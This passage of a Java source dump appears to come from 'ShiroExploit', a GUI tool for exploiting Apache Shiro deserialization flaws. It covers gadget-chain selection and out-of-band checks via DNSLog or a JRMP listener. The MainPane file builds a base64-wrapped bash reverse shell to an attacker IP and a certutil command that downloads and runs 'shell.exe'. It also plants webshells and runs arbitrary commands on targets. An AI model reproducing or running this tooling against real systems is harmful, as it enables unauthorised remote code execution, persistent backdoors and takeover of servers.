| 66 | }else if(newValue == dnsLogButton){ 67 | middlePane.setDisable(true); 68 | bottomPane.setDisable(true); 69 | staticFilePathField.setDisable(true); 70 | 71 | }else if(newValue == echoButton){ 72 | middlePane.setDisable(true); 73 | bottomPane.setDisable(true); 74 | staticFilePathField.setDisable(false); 75 | 76 | if(!used){ 77 | String[] names = {"CommonsBeanutils1","CommonsCollections2","CommonsCollections3","CommonsCollections4","CommonsCollections8", 78 | "CommonsCollections10", "Jdk7u21","Hibernate1","Spring1","Spring2","JBossInterceptors1","JSON1","JavassistWeld1", 79 | "MozillaRhino1","MozillaRhino2","ROME","Vaadin1"}; 80 | List types = new ArrayList<>(); 81 | for(String name : names){ 82 | types.add(PayloadType.valueOf(name)); 83 | } 84 | 85 | types.retainAll(Config.getInstance().getGadgets()); 86 | Config.getInstance().setGadgets(types); 87 | 88 | used = true; 89 | } 90 | }else { 91 | middlePane.setDisable(false); 92 | bottomPane.setDisable(false); 93 | staticFilePathField.setDisable(true); 94 | } 95 | } 96 | }); 97 | 98 | previous.setOnAction(new EventHandler() { 99 | @Override 100 | public void handle(ActionEvent event) { 101 | Stage currentStage = (Stage)vBox.getScene().getWindow(); 102 | currentStage.hide(); 103 | Stage previous = (Stage)previousPane.getPane().getScene().getWindow(); 104 | previous.show(); 105 | } 106 | }); 107 | 108 | next.setOnAction(new EventHandler() { 109 | @Override 110 | public void handle(ActionEvent event) { 111 | if(typeGroup.getSelectedToggle() == ceyeButton){ 112 | Config.getInstance().setCheckMethod(0); 113 | nextStage(); 114 | } 115 | 116 | if(typeGroup.getSelectedToggle() == dnsLogButton){ 117 | Stage currentStage = (Stage)vBox.getScene().getWindow(); 118 | GetDNSLogRecordTask task = new GetDNSLogRecordTask(Config.getInstance()); 119 | task.valueProperty().addListener(new ChangeListener() { 120 | @Override 121 | public void changed(ObservableValue observable, Integer oldValue, Integer newValue) { 122 | if(task.getStatus() == 1){ 123 | Config.getInstance().setCheckMethod(1); 124 | nextStage(); 125 | } 126 | 127 | if(task.getStatus() == -1){ 128 | PromptMessageUI.getAlert("DNSLog无法访问","DNSLog.cn暂时无法访问,请稍后再试!"); 129 | } 130 | } 131 | }); 132 | 133 | PenddingUI penddingUI = new PenddingUI(task, currentStage); 134 | penddingUI.activateProgressBar(); 135 | } 136 | 137 | if(typeGroup.getSelectedToggle() == echoButton){ 138 | 139 | if(Config.getInstance().getGadgets().size() == 0){ 140 | PromptMessageUI.getAlert("输入错误","您指定的 Gadget 无法用于回显,请重新选择"); 141 | return; 142 | } 143 | 144 | Config.getInstance().setCheckMethod(3); 145 | 146 | String staticFilePath = staticFilePathField.getText(); 147 | if(staticFilePath == null || staticFilePath.trim().equals("")){ 148 | Config.getInstance().setStaticFilePath(Config.getInstance().getRequestInfo().getRequestURL()); 149 | }else{ 150 | try { 151 | URL url = new URL(staticFilePath); 152 | } catch (MalformedURLException e) { 153 | PromptMessageUI.getAlert("输入错误","输入的静态资源 URL 不是一个有效的 URL"); 154 | return; 155 | } 156 | 157 | Config.getInstance().setStaticFilePath(staticFilePath); 158 | } 159 | 160 | Stage currentStage = (Stage)vBox.getScene().getWindow(); 161 | GetDNSLogRecordTask task = new GetDNSLogRecordTask(Config.getInstance()); 162 | task.valueProperty().addListener(new ChangeListener() { 163 | @Override 164 | public void changed(ObservableValue observable, Integer oldValue, Integer newValue) { 165 | if(task.getStatus() == 1){ 166 | nextStage(); 167 | } 168 | 169 | if(task.getStatus() == -1){ 170 | nextStage(); 171 | } 172 | } 173 | }); 174 | 175 | PenddingUI penddingUI = new PenddingUI(task, currentStage); 176 | penddingUI.activateProgressBar(); 177 | } 178 | 179 | if(typeGroup.getSelectedToggle() == oobServiceButton){ 180 | 181 | String ip = ipAddress.getText(); 182 | String httpPort = httpServicePort.getText(); 183 | String JRMPPort = JRMPListenerPort.getText(); 184 | 185 | if(ip == null || ip.trim().equals("")){ 186 | PromptMessageUI.getAlert("输入错误","IP地址不能为空"); 187 | return; 188 | } 189 | 190 | if(httpPort == null || httpPort.trim().equals("")){ 191 | PromptMessageUI.getAlert("输入错误","HTTPService端口不能为空"); 192 | return; 193 | } 194 | 195 | if(JRMPPort == null || JRMPPort.trim().equals("")){ 196 | PromptMessageUI.getAlert("输入错误","JRMPListener端口不能为空"); 197 | return; 198 | } 199 | 200 | if(!validatePortInput(httpPort, JRMPPort)){ 201 | PromptMessageUI.getAlert("输入错误","您输入的端口格式不正确"); 202 | return; 203 | } 204 | 205 | if(!validateOOBServerConnection(ip, Integer.parseInt(httpPort))){ 206 | PromptMessageUI.getAlert("连接失败","无法连接到您指定的OOB Server,请确定配置是否正确"); 207 | return; 208 | } 209 | 210 | Stage currentStage = (Stage)vBox.getScene().getWindow(); 211 | GetDNSLogRecordTask task = new GetDNSLogRecordTask(Config.getInstance()); 212 | task.valueProperty().addListener(new ChangeListener() { 213 | @Override 214 | public void changed(ObservableValue observable, Integer oldValue, Integer newValue) { 215 | if(task.getStatus() == 1){ 216 | Config.getInstance().setCheckMethod(2); 217 | Config.getInstance().setJRMPServiceAddress(ip); 218 | Config.getInstance().setHTTPServicePort(Integer.parseInt(httpPort)); 219 | Config.getInstance().setJRMPServicePort(Integer.parseInt(JRMPPort)); 220 | Config.getInstance().setSkipIfFound(skipIfFound.getSelectedToggle() == yesForSkip ? true : false); 221 | nextStage(); 222 | } 223 | 224 | if(task.getStatus() == -1){ 225 | PromptMessageUI.getAlert("DNSLog无法访问","DNSLog.cn暂时无法访问,请稍后再试!"); 226 | } 227 | } 228 | }); 229 | 230 | PenddingUI penddingUI = new PenddingUI(task, currentStage); 231 | penddingUI.activateProgressBar(); 232 | } 233 | } 234 | }); 235 | } 236 | 237 | public void drawPane(){ 238 | ceyeButton.setToggleGroup(typeGroup); 239 | dnsLogButton.setToggleGroup(typeGroup); 240 | oobServiceButton.setToggleGroup(typeGroup); 241 | echoButton.setToggleGroup(typeGroup); 242 | 243 | vBox.getChildren().addAll(ceyeButton, dnsLogButton, oobServiceButton); 244 | vBox.setMargin(ceyeButton, new Insets(20,0,0,40)); 245 | vBox.setMargin(dnsLogButton, new Insets(20,0,0,40)); 246 | vBox.setMargin(oobServiceButton, new Insets(20,0,0,40)); 247 | 248 | middlePane.setVgap(20); 249 | middlePane.setHgap(20); 250 | 251 | Label labelForIP = new Label("IPAddress"); 252 | middlePane.add(labelForIP,0, 1); 253 | middlePane.add(ipAddress, 1,1); 254 | 255 | Label labelForHTTPPort = new Label("HTTPService Port"); 256 | httpServicePort.setText("8080"); 257 | middlePane.add(labelForHTTPPort,0, 2); 258 | middlePane.add(httpServicePort, 1,2); 259 | 260 | Label labelForJRMPPort = new Label("JRMPListener Port"); 261 | JRMPListenerPort.setText("8088"); 262 | middlePane.add(labelForJRMPPort,0, 3); 263 | middlePane.add(JRMPListenerPort, 1,3); 264 | middlePane.setDisable(true); 265 | 266 | vBox.getChildren().add(middlePane); 267 | vBox.setMargin(middlePane, new Insets(0, 100, 0,80)); 268 | 269 | bottomPane.setVgap(20); 270 | bottomPane.setHgap(20); 271 | 272 | Label label1 = new Label("找到可用Gadget即停止寻找"); 273 | yesForSkip.setToggleGroup(skipIfFound); 274 | noForSkip.setToggleGroup(skipIfFound); 275 | skipIfFound.selectToggle(yesForSkip); 276 | bottomPane.add(label1, 0, 0); 277 | bottomPane.add(yesForSkip, 1, 0); 278 | bottomPane.add(noForSkip, 2,0); 279 | 280 | bottomPane.setDisable(true); 281 | 282 | vBox.getChildren().add(bottomPane); 283 | vBox.setMargin(bottomPane, new Insets(20, 100, 20,80)); 284 | 285 | vBox.getChildren().addAll(echoButton, staticFilePathField); 286 | vBox.setMargin(echoButton, new Insets(0,0,0,40)); 287 | vBox.setMargin(staticFilePathField, new Insets(20,20,0,20)); 288 | staticFilePathField.setPromptText("(可选)请输入一个静态资源URL,如 http://www.xxx.com/static/logo.png"); 289 | 290 | HBox hBox = new HBox(); 291 | hBox.getChildren().addAll(previous, next); 292 | hBox.setMargin(previous, new Insets(20,20,0,0)); 293 | hBox.setMargin(next, new Insets(20,0,0,0)); 294 | hBox.setAlignment(Pos.CENTER); 295 | vBox.getChildren().add(hBox); 296 | } 297 | 298 | private boolean validateOOBServerConnection(String ip, int port) { 299 | String url = "http://" + ip + ":" + port + "/echo"; 300 | String result = null; 301 | try{ 302 | result = HttpRequest.getResponse(url); 303 | }catch (IOException e){ 304 | return false; 305 | } 306 | 307 | if(result != null && result.trim().equals("OK")){ 308 | return true; 309 | } 310 | 311 | return false; 312 | } 313 | 314 | private boolean validatePortInput(String httpServicePort, String JRMPListener){ 315 | try{ 316 | Integer.parseInt(httpServicePort); 317 | Integer.parseInt(JRMPListener); 318 | }catch(NumberFormatException e){ 319 | return false; 320 | } 321 | 322 | return true; 323 | } 324 | 325 | private void nextStage(){ 326 | Stage newStage = new Stage(); 327 | MainPane mainPane = new MainPane(); 328 | newStage.setTitle(Config.getInstance().getRequestInfo().getRequestURL()); 329 | newStage.setScene(new Scene(mainPane.getPane(), 800,600)); 330 | //close第一步和第二步的2个界面 331 | Stage currentStage = (Stage)vBox.getScene().getWindow(); 332 | currentStage.hide(); 333 | Stage previousStage = (Stage)previousPane.getPane().getScene().getWindow(); 334 | previousStage.close(); 335 | newStage.setOnShown(new EventHandler() { 336 | @Override 337 | public void handle(WindowEvent event) { 338 | Platform.runLater(new Runnable() { 339 | @Override 340 | public void run() { 341 | mainPane.startRuning(); 342 | } 343 | }); 344 | } 345 | }); 346 | 347 | //关闭 Stage 时结束所有正在执行的任务 348 | //参考 https://stackoverflow.com/questions/12153622/how-to-close-a-javafx-application-on-window-close 349 | newStage.setOnCloseRequest(new EventHandler() { 350 | @Override 351 | public void handle(WindowEvent event) { 352 | Platform.exit(); 353 | 354 | 355 | new Thread(new Runnable() { 356 | @Override 357 | public void run() { 358 | try { 359 | Runtime.getRuntime().exec("java -jar ShiroExploit.jar"); 360 | } catch (IOException e) { 361 | e.printStackTrace(); 362 | } 363 | } 364 | }).start(); 365 | 366 | System.exit(0); 367 | } 368 | }); 369 | 370 | newStage.show(); 371 | } 372 | } 373 | -------------------------------------------------------------------------------- /src/main/java/com/shiroexploit/gui/Console.java: -------------------------------------------------------------------------------- 1 | package com.shiroexploit.gui; 2 | 3 | import javafx.application.Platform; 4 | import javafx.scene.control.TextArea; 5 | 6 | import java.io.IOException; 7 | import java.io.OutputStream; 8 | 9 | public class Console extends OutputStream { 10 | private TextArea console; 11 | 12 | public Console(TextArea console) { 13 | this.console = console; 14 | } 15 | 16 | public void appendText(String valueOf) { 17 | //在JavaFx中,如果在非Fx线程要执行Fx线程相关的任务,必须在Platform.runLater中执行 18 | Platform.runLater(() -> console.appendText(valueOf)); 19 | } 20 | 21 | public void write(int b) throws IOException { 22 | appendText(String.valueOf((char)b)); 23 | } 24 | } -------------------------------------------------------------------------------- /src/main/java/com/shiroexploit/gui/MainPane.java: -------------------------------------------------------------------------------- 1 | package com.shiroexploit.gui; 2 | 3 | import com.shiroexploit.util.ExploitFailedException; 4 | import com.shiroexploit.util.Tools; 5 | import com.shiroexploit.vulnverifier.Verifier; 6 | import com.shiroexploit.vulnverifier.VerifierFactory; 7 | import javafx.application.Platform; 8 | import javafx.beans.value.ChangeListener; 9 | import javafx.beans.value.ObservableValue; 10 | import javafx.collections.FXCollections; 11 | import javafx.event.ActionEvent; 12 | import javafx.event.EventHandler; 13 | import javafx.geometry.Insets; 14 | import javafx.geometry.Pos; 15 | import javafx.scene.control.*; 16 | import javafx.scene.input.KeyCode; 17 | import javafx.scene.input.KeyEvent; 18 | import javafx.scene.layout.*; 19 | import java.io.PrintStream; 20 | import java.net.MalformedURLException; 21 | import java.net.URL; 22 | import java.util.ArrayList; 23 | import java.util.Base64; 24 | import java.util.List; 25 | 26 | public class MainPane { 27 | private TextField cmd = new TextField(); 28 | private TextArea textArea = new TextArea(); 29 | private Button execute = new Button(); 30 | private CheckBox clickToPwn = new CheckBox("简便操作"); 31 | private ComboBox simpleTask = new ComboBox<>(); 32 | private TextField textField = new TextField(); 33 | private Button fire = new Button("Fire"); 34 | private BorderPane borderPane = new BorderPane(); 35 | private PrintStream printStream; 36 | private Verifier verifier; 37 | private Label commandLabel = new Label("命令"); 38 | 39 | public MainPane(){ 40 | drawPane(); 41 | addListeners(); 42 | //如此一来,简单太多了,原来的代码也不需要修改 43 | //参考 https://blog.csdn.net/qq_41886200/article/details/93711993 44 | printStream = new PrintStream(new Console(textArea)); 45 | System.setOut(printStream); 46 | System.setErr(printStream); 47 | verifier = VerifierFactory.getInstance().getVerifier(); 48 | } 49 | 50 | public Pane getPane() { 51 | return borderPane; 52 | } 53 | 54 | private void addListeners(){ 55 | execute.setOnAction(new EventHandler() { 56 | @Override 57 | public void handle(ActionEvent event) { 58 | String command = cmd.getText().trim(); 59 | if(command == null || command.equals("")){ 60 | PromptMessageUI.getAlert("输入错误","请输入一条有效的命令"); 61 | return; 62 | } 63 | 64 | commandLabel.setDisable(true); 65 | cmd.setDisable(true); 66 | execute.setDisable(true); 67 | new Thread(new Runnable() { 68 | @Override 69 | public void run() { 70 | String result = verifier.executeCmd(command); 71 | if(result != null){ 72 | System.out.println(result); 73 | } 74 | commandLabel.setDisable(false); 75 | cmd.setDisable(false); 76 | execute.setDisable(false); 77 | cmd.clear(); 78 | Platform.runLater(new Runnable() { 79 | @Override 80 | public void run() { 81 | cmd.requestFocus(); 82 | } 83 | }); 84 | } 85 | }).start(); 86 | } 87 | }); 88 | 89 | cmd.setOnKeyPressed(new EventHandler() { 90 | @Override 91 | public void handle(KeyEvent event) { 92 | //按Enter键时,具有和点击“执行”按钮同样的效果 93 | if(event.getCode() == KeyCode.ENTER){ 94 | execute.fire(); 95 | } 96 | } 97 | }); 98 | 99 | clickToPwn.selectedProperty().addListener(new ChangeListener() { 100 | @Override 101 | public void changed(ObservableValue observable, Boolean oldValue, Boolean newValue) { 102 | if(clickToPwn.isSelected()){ 103 | commandLabel.setDisable(true); 104 | cmd.setDisable(true); 105 | execute.setDisable(true); 106 | 107 | simpleTask.setDisable(false); 108 | textField.setDisable(false); 109 | fire.setDisable(false); 110 | }else{ 111 | commandLabel.setDisable(false); 112 | cmd.setDisable(false); 113 | execute.setDisable(false); 114 | 115 | simpleTask.setDisable(true); 116 | textField.setDisable(true); 117 | fire.setDisable(true); 118 | } 119 | } 120 | }); 121 | 122 | simpleTask.getSelectionModel().selectedItemProperty().addListener(new ChangeListener() { 123 | @Override 124 | public void changed(ObservableValue observable, String oldValue, String newValue) { 125 | 126 | if(newValue.contains("Linux")){ 127 | textField.setPromptText("12.34.56.78:443"); 128 | }else if(newValue.contains("Windows")){ 129 | textField.setPromptText("http://www.mydomain.com/backdoor.exe"); 130 | }else{ 131 | textField.setPromptText("http://www.targetdomain.com/upload/myshell.jsp"); 132 | } 133 | } 134 | }); 135 | 136 | fire.setOnAction(new EventHandler() { 137 | @Override 138 | public void handle(ActionEvent event) { 139 | String text = textField.getText(); 140 | 141 | if (simpleTask.getSelectionModel().getSelectedIndex() == 0) { 142 | if(text == null || text.trim().equals("")){ 143 | PromptMessageUI.getAlert("输入错误","反弹地址不能为空!"); 144 | return; 145 | } 146 | 147 | String ip = text.split(":", 2)[0]; 148 | String port; 149 | if (text.contains(":")) { 150 | port = text.split(":", 2)[1]; 151 | } else { 152 | port = "80"; 153 | } 154 | 155 | if (!checkIp(ip)) { 156 | PromptMessageUI.getAlert("输入错误", "请输入一个有效的IP地址!"); 157 | return; 158 | } 159 | 160 | if (!checkPort(port)) { 161 | PromptMessageUI.getAlert("输入错误", "请输入一个有效的端口!"); 162 | return; 163 | } 164 | 165 | clickToPwn.setDisable(true); 166 | simpleTask.setDisable(true); 167 | textField.setDisable(true); 168 | fire.setDisable(true); 169 | 170 | new Thread(new Runnable() { 171 | @Override 172 | public void run() { 173 | String command = "bash -i >& /dev/tcp/" + ip + "/" + port + " 0>&1"; 174 | Base64.Encoder encoder = Base64.getEncoder(); 175 | command = encoder.encodeToString(command.getBytes()); 176 | command = "bash -c {echo," + command + "}|{base64,-d}|{bash,-i}"; 177 | 178 | verifier.executeCmd(command); 179 | 180 | clickToPwn.setDisable(false); 181 | simpleTask.setDisable(false); 182 | textField.setDisable(false); 183 | fire.setDisable(false); 184 | } 185 | }).start(); 186 | } else if (simpleTask.getSelectionModel().getSelectedIndex() == 1) { 187 | if(text == null || text.trim().equals("")){ 188 | PromptMessageUI.getAlert("输入错误","下载地址不能为空!"); 189 | return; 190 | } 191 | 192 | clickToPwn.setDisable(true); 193 | simpleTask.setDisable(true); 194 | textField.setDisable(true); 195 | fire.setDisable(true); 196 | 197 | new Thread(new Runnable() { 198 | @Override 199 | public void run() { 200 | String command = "certutil.exe -urlcache -split -f " + text + " shell.exe & shell.exe"; 201 | verifier.executeCmd(command); 202 | 203 | clickToPwn.setDisable(false); 204 | simpleTask.setDisable(false); 205 | textField.setDisable(false); 206 | fire.setDisable(false); 207 | } 208 | }).start(); 209 | } else { 210 | if(text == null || text.trim().equals("")){ 211 | PromptMessageUI.getAlert("输入错误","Webshell目标地址不能为空!"); 212 | return; 213 | } 214 | 215 | URL u = null; 216 | try { 217 | u = new URL(text); 218 | } catch (MalformedURLException e) { 219 | PromptMessageUI.getAlert("输入错误","Webshell目标地址不是一个有效的 URL!"); 220 | return; 221 | } 222 | 223 | clickToPwn.setDisable(true); 224 | simpleTask.setDisable(true); 225 | textField.setDisable(true); 226 | fire.setDisable(true); 227 | 228 | new Thread(new Runnable() { 229 | @Override 230 | public void run() { 231 | List paths = Tools.getPaths(text); 232 | 233 | for(String p : paths) { 234 | String command = "directive:Shell:" + p; 235 | verifier.executeCmd(command); 236 | } 237 | 238 | System.out.println("[+] Your webshell path: " + text); 239 | 240 | 241 | clickToPwn.setDisable(false); 242 | simpleTask.setDisable(false); 243 | textField.setDisable(false); 244 | fire.setDisable(false); 245 | } 246 | }).start(); 247 | } 248 | } 249 | }); 250 | 251 | 252 | //当textarea获得焦点时,清除其中的文字 253 | //参考http://www.it1352.com/960364.html 254 | // cmd.focusedProperty().addListener(new ChangeListener() { 255 | // @Override 256 | // public void changed(ObservableValue observable, Boolean oldValue, Boolean newValue) { 257 | // if(newValue){ 258 | // cmd.clear(); 259 | // } 260 | // } 261 | // }); 262 | } 263 | 264 | private boolean checkPort(String port) { 265 | try{ 266 | int p = Integer.parseInt(port); 267 | if(p > 0 && p < 65535){ 268 | return true; 269 | } 270 | 271 | return false; 272 | }catch(NumberFormatException e){ 273 | return false; 274 | } 275 | 276 | } 277 | 278 | private boolean checkIp(String ip) { 279 | try{ 280 | String[] parts = ip.split("\\."); 281 | if(parts.length != 4) return false; 282 | 283 | for(String part : parts){ 284 | int p = Integer.parseInt(part); 285 | if(p < 0 || p > 255){ 286 | return false; 287 | } 288 | } 289 | 290 | return true; 291 | }catch(Exception e){ 292 | return false; 293 | } 294 | } 295 | 296 | private void drawPane(){ 297 | BorderPane top = new BorderPane(); 298 | top.setPadding(new Insets(10,10,10,10)); 299 | 300 | commandLabel.setPrefHeight(35); 301 | commandLabel.setDisable(true); 302 | top.setMargin(commandLabel, new Insets(0,10,0,0)); 303 | cmd.setPrefHeight(35); 304 | cmd.setDisable(true); 305 | top.setLeft(commandLabel); 306 | top.setCenter(cmd); 307 | 308 | execute.setText("执行"); 309 | execute.setDisable(true); 310 | top.setMargin(execute, new Insets(0,0,0,10)); 311 | top.setRight(execute); 312 | 313 | GridPane gridPane = new GridPane(); 314 | gridPane.setAlignment(Pos.CENTER); 315 | gridPane.setHgap(10); 316 | gridPane.setVgap(20); 317 | gridPane.setPadding(new Insets(10,0,10,0)); 318 | 319 | clickToPwn.setDisable(true); 320 | gridPane.setColumnSpan(clickToPwn,1 ); 321 | gridPane.add(clickToPwn, 0, 0); 322 | 323 | List data = new ArrayList<>(); 324 | data.add("反弹Shell(Linux)"); 325 | data.add("反弹Shell(Windows)"); 326 | data.add("获取WebShell"); 327 | simpleTask.setDisable(true); 328 | simpleTask.setItems(FXCollections.observableArrayList(data)); 329 | simpleTask.getSelectionModel().select(2); 330 | gridPane.setColumnSpan(simpleTask, 2); 331 | gridPane.add(simpleTask, 1,0); 332 | 333 | gridPane.setColumnSpan(textField, 4); 334 | textField.setPromptText("http://www.xxx.com/aaa/myshell.jsp"); 335 | textField.setDisable(true); 336 | textField.setPrefWidth(400); 337 | gridPane.add(textField, 3, 0); 338 | 339 | fire.setDisable(true); 340 | gridPane.setColumnSpan(fire, 1); 341 | gridPane.add(fire, 7, 0); 342 | 343 | VBox vBox = new VBox(); 344 | vBox.getChildren().addAll(top, gridPane); 345 | 346 | textArea.setEditable(false); 347 | textArea.setWrapText(true); 348 | 349 | borderPane.setPadding(new Insets(10,10,10,10)); 350 | borderPane.setTop(vBox); 351 | borderPane.setCenter(textArea); 352 | borderPane.setMargin(textArea, new Insets(10,10,10,10)); 353 | } 354 | 355 | public void startRuning(){ 356 | 357 | Thread thread = new Thread(new Runnable() { 358 | @Override 359 | public void run() { 360 | try { 361 | verifier.getValidGadget(); 362 | commandLabel.setDisable(false); 363 | cmd.setDisable(false); 364 | execute.setDisable(false); 365 | clickToPwn.setDisable(false); 366 | } catch (ExploitFailedException e) { 367 | System.out.println(e.getMessage()); 368 | System.out.println("[!] Target is not vulnerable or can not exploit"); 369 | Platform.runLater(new Runnable() { 370 | @Override 371 | public void run() { 372 | PromptMessageUI.getAlert("检测失败","目标应用不存在相应漏洞或者无法找到可利用的反序列化Gadget!"); 373 | } 374 | }); 375 | } 376 | } 377 | }); 378 | thread.start(); 379 | } 380 | } 381 | -------------------------------------------------------------------------------- /src/main/java/com/shiroexploit/gui/PenddingUI.java: -------------------------------------------------------------------------------- 1 | package com.shiroexploit.gui; 2 | 3 | import javafx.concurrent.Task; 4 | import javafx.concurrent.WorkerStateEvent; 5 | import javafx.event.EventHandler; 6 | import javafx.scene.Scene; 7 | import javafx.scene.control.ProgressIndicator; 8 | import javafx.scene.layout.Background; 9 | import javafx.scene.layout.VBox; 10 | import javafx.stage.Modality; 11 | import javafx.stage.Stage; 12 | import javafx.stage.StageStyle; 13 | 14 | //参考:https://blog.csdn.net/loongshawn/article/details/52996382 15 | public class PenddingUI { 16 | private Stage dialogStage; 17 | private ProgressIndicator progressIndicator; 18 | 19 | public PenddingUI(final Task task, Stage primaryStage) { 20 | dialogStage = new Stage(); 21 | progressIndicator = new ProgressIndicator(); 22 | 23 | // 需要添加窗口父子关系属性,不然加载窗口会与父窗口并存,形成2个窗口,解决这个问题需要在加载页面代码中添加 dialogStage.initOwner(primaryStage) 24 | // 这样加载窗口就会与父窗口融合为一个窗口 25 | dialogStage.initOwner(primaryStage); 26 | dialogStage.initStyle(StageStyle.UNDECORATED); 27 | //设置stage为透明 28 | dialogStage.initStyle(StageStyle.TRANSPARENT); 29 | dialogStage.initModality(Modality.APPLICATION_MODAL); 30 | 31 | 32 | //label.getStyleClass().add("progress-bar-root"); 33 | progressIndicator.setProgress(-1F); 34 | progressIndicator.getStyleClass().add("progress-bar-root"); 35 | progressIndicator.progressProperty().bind(task.progressProperty()); 36 | 37 | //在 VBox 中可以加入一些其他的控件,如 label 等 38 | VBox vBox = new VBox(); 39 | // vBox.setSpacing(10); 40 | //这个必须有,设置背景为透明,必须和 stage 同时为透明,才不会遮盖原本的UI 41 | vBox.setBackground(Background.EMPTY); 42 | vBox.getChildren().addAll(progressIndicator); 43 | 44 | Scene scene = new Scene(vBox); 45 | scene.setFill(null); 46 | dialogStage.setScene(scene); 47 | 48 | Thread inner = new Thread(task); 49 | inner.start(); 50 | 51 | task.setOnSucceeded(new EventHandler() { 52 | public void handle(WorkerStateEvent event) { 53 | dialogStage.close(); 54 | } 55 | }); 56 | } 57 | 58 | public void activateProgressBar() { 59 | dialogStage.show(); 60 | } 61 | } 62 | -------------------------------------------------------------------------------- /src/main/java/com/shiroexploit/gui/PromptMessageUI.java: -------------------------------------------------------------------------------- 1 | package com.shiroexploit.gui; 2 | 3 | import javafx.scene.control.Alert; 4 | 5 | public class PromptMessageUI { 6 | public static void getAlert(String title, String message){ 7 | Alert alert = new Alert(Alert.AlertType.INFORMATION); 8 | alert.setTitle(title); 9 | alert.setHeaderText(null); 10 | alert.setContentText(message); 11 | alert.showAndWait(); 12 | } 13 | } 14 | -------------------------------------------------------------------------------- /src/main/java/com/shiroexploit/gui/ProxyConfigPane.java: -------------------------------------------------------------------------------- 1 | package com.shiroexploit.gui; 2 | 3 | import com.shiroexploit.util.Config; 4 | import javafx.beans.value.ChangeListener; 5 | import javafx.beans.value.ObservableValue; 6 | import javafx.event.ActionEvent; 7 | import javafx.event.EventHandler; 8 | import javafx.geometry.Insets; 9 | import javafx.geometry.Pos; 10 | import javafx.scene.control.Button; 11 | import javafx.scene.control.CheckBox; 12 | import javafx.scene.control.Label; 13 | import javafx.scene.control.TextField; 14 | import javafx.scene.layout.GridPane; 15 | import javafx.scene.layout.HBox; 16 | import javafx.scene.layout.Pane; 17 | import javafx.stage.Stage; 18 | 19 | public class ProxyConfigPane { 20 | private CheckBox enableProxy = new CheckBox("启用代理"); 21 | private TextField ipTextField = new TextField(); 22 | private TextField portTextField = new TextField(); 23 | private Button confirm = new Button("确定"); 24 | private Button cancel = new Button("取消"); 25 | private GridPane gridPane = new GridPane(); 26 | private StartPane previous; 27 | 28 | public ProxyConfigPane(StartPane startPane){ 29 | previous = startPane; 30 | drawPane(); 31 | addListeners(); 32 | } 33 | 34 | public Pane getPane(){ 35 | return gridPane; 36 | } 37 | 38 | public void update(){ 39 | enableProxy.setSelected(Config.getInstance().isProxyEnabled()); 40 | ipTextField.setText(Config.getInstance().getProxyIP()); 41 | portTextField.setText(String.valueOf(Config.getInstance().getProxyPort())); 42 | } 43 | 44 | private void drawPane(){ 45 | gridPane.setPadding(new Insets(10,10,10,10)); 46 | gridPane.setHgap(10); 47 | gridPane.setVgap(20); 48 | gridPane.setAlignment(Pos.CENTER); 49 | 50 | enableProxy.setSelected(false); 51 | gridPane.setColumnSpan(enableProxy, 2); 52 | gridPane.add(enableProxy, 0, 0); 53 | 54 | Label labelForIP = new Label("IP地址"); 55 | ipTextField.setPrefWidth(200); 56 | ipTextField.setDisable(true); 57 | gridPane.add(labelForIP, 0, 1); 58 | gridPane.add(ipTextField, 1,1); 59 | 60 | Label labelForPort = new Label("端口"); 61 | portTextField.setPrefWidth(200); 62 | portTextField.setDisable(true); 63 | gridPane.add(labelForPort, 0, 2); 64 | gridPane.add(portTextField,1 ,2); 65 | 66 | HBox hBox = new HBox(); 67 | hBox.setAlignment(Pos.CENTER); 68 | hBox.getChildren().addAll(confirm, cancel); 69 | hBox.setMargin(confirm, new Insets(0,10,0,0)); 70 | gridPane.setColumnSpan(hBox, 2); 71 | gridPane.add(hBox, 0, 3); 72 | } 73 | 74 | 75 | private void addListeners(){ 76 | enableProxy.selectedProperty().addListener(new ChangeListener() { 77 | @Override 78 | public void changed(ObservableValue observable, Boolean oldValue, Boolean newValue) { 79 | if(newValue){ 80 | ipTextField.setDisable(false); 81 | portTextField.setDisable(false); 82 | }else{ 83 | ipTextField.setDisable(true); 84 | portTextField.setDisable(true); 85 | } 86 | } 87 | }); 88 | 89 | confirm.setOnAction(new EventHandler() { 90 | @Override 91 | public void handle(ActionEvent event) { 92 | if(enableProxy.isSelected()){ 93 | String ip = ipTextField.getText().trim(); 94 | String port = portTextField.getText().trim(); 95 | 96 | if(ip.isEmpty()) { 97 | PromptMessageUI.getAlert("输入错误","IP地址不能为空"); 98 | return; 99 | } 100 | 101 | if(port.isEmpty()) { 102 | PromptMessageUI.getAlert("输入错误","端口不能为空"); 103 | return; 104 | } 105 | 106 | try{ 107 | Integer.parseInt(port); 108 | }catch(NumberFormatException e){ 109 | PromptMessageUI.getAlert("输入错误","端口号输入错误"); 110 | return; 111 | } 112 | 113 | try{ 114 | String[] parts = ip.split("\\."); 115 | if(parts.length != 4){ 116 | PromptMessageUI.getAlert("输入错误","IP地址输入错误"); 117 | return; 118 | } 119 | 120 | for(String part : parts){ 121 | Integer.parseInt(part); 122 | } 123 | }catch(NumberFormatException e){ 124 | PromptMessageUI.getAlert("输入错误","IP地址输入错误"); 125 | return; 126 | } 127 | 128 | Config.getInstance().setProxyEnabled(true); 129 | Config.getInstance().setProxyIP(ip); 130 | Config.getInstance().setProxyPort(Integer.parseInt(port)); 131 | }else{ 132 | Config.getInstance().setProxyEnabled(false); 133 | } 134 | 135 | Stage currentStage = (Stage)gridPane.getScene().getWindow(); 136 | currentStage.hide(); 137 | Stage pre = (Stage)previous.getPane().getScene().getWindow(); 138 | pre.show(); 139 | } 140 | }); 141 | 142 | cancel.setOnAction(new EventHandler() { 143 | @Override 144 | public void handle(ActionEvent event) { 145 | Stage currentStage = (Stage)gridPane.getScene().getWindow(); 146 | currentStage.hide(); 147 | Stage pre = (Stage)previous.getPane().getScene().getWindow(); 148 | pre.show(); 149 | } 150 | }); 151 | } 152 | } 153 | -------------------------------------------------------------------------------- /src/main/java/com/shiroexploit/gui/StartPane.java: -------------------------------------------------------------------------------- 1 | package com.shiroexploit.gui; 2 | 3 | import com.shiroexploit.task.TestConnectionTask; 4 | import com.shiroexploit.util.*; 5 | import javafx.application.Application; 6 | import javafx.beans.value.ChangeListener; 7 | import javafx.beans.value.ObservableValue; 8 | import javafx.collections.FXCollections; 9 | import javafx.collections.ObservableList; 10 | import javafx.event.ActionEvent; 11 | import javafx.event.EventHandler; 12 | import javafx.geometry.Insets; 13 | import javafx.geometry.Pos; 14 | import javafx.scene.Scene; 15 | import javafx.scene.control.*; 16 | import javafx.scene.layout.*; 17 | import javafx.stage.Stage; 18 | import javafx.stage.WindowEvent; 19 | import org.apache.commons.codec.binary.Base64; 